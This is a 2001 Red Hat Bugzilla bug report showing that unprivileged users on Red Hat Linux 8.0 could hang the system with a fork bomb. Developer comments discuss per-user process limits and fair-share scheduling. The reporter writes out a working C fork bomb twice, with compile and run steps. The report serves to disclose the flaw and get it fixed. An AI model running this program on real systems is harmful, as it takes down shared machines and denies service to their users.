Bug 45846 - Fork bomb exploit not prevented by user limits
Fork bomb exploit not prevented by user limits
Status: CLOSED CURRENTRELEASE
Product: Red Hat Linux
Classification: Retired
Component: kernel (Show other bugs)
8.0
i386 Linux
medium Severity medium
: ---
: ---
Assigned To: Arjan van de Ven
Brock Organ
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2001-06-25 13:14 EDT by Chris Travers
Modified: 2008-08-01 12:22 EDT (History)
0 users

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2004-09-30 11:39:02 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description Chris Travers 2001-06-25 13:14:29 EDT
From Bugzilla Helper:
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9)
Gecko/20010505

Description of problem:
The following code will cause Linux to hang--

#include <sys/types.h>
#include <unistd.h>

int main (){
    while (1) fork ();
    return (0);
}

This will exhaust the process table.

How reproducible:
Always

Steps to Reproduce:
1. write the following program as DoS.c:
#include <sys/types.h>
#include <unistd.h>

int main (){
while (1) fork ();
return (0);
}

2. compile using gcc -oDoS DoS.c

3. Run ./DoS
	

Actual Results:  X hangs, Apache won't server pages, ssh won't accept new
connections, new users cannot log in, existing users cannot execute most
shell commands.  Top hangs, and when DoS is suspended, a look at the Proc
file system indicates that well over 2000 processes are running (top won't
list it because it contains too many processes).


Expected Results:  System might slow down but it should not be possible for
an unprivaleged user to lock up the system with a malicious program.


Additional info:


Also, memory limitations per user might be harder to impliment but might be
helpful too(think of using malloc in the previous program!).
Comment 1 Ed McKenzie 2001-06-26 22:56:13 EDT
Kernel RSS limits aren't yet implemented, but better pam defaults for users is a
good idea.  I think RH has the opportunity to take the lead here. :)

BTW, the reason top won't display 2000 processes is because /proc has pretty
severe performance issues when more than 10-20 processes are running.  Normally,
ps is pretty slow as compared to *BSD, but if you have many processes running,
it'll slow down to about two or three PIDs per second. :-/
Comment 2 Alan Cox 2002-12-18 08:54:06 EST
Later Linux does per user total process limiting. However I'm leaving this open
as one of my test sets I see a kernel hang for some other reason. Also to remind
us that eventually we need to get the O(1) scheduler updated to do fair share
(fair share means that each user gets a share of the CPU not each task, so the
more you
fork the less time *your* processes get not everyones)

Alan
Comment 3 Bugzilla owner 2004-09-30 11:39:02 EDT
Thanks for the bug report. However, Red Hat no longer maintains this version of
the product. Please upgrade to the latest version and open a new bug if the problem
persists.

The Fedora Legacy project (http://fedoralegacy.org/) maintains some older releases, 
and if you believe this bug is interesting to them, please report the problem in
the bug tracker at: http://bugzilla.fedora.us/

Note You need to log in before you can comment on or make changes to this bug.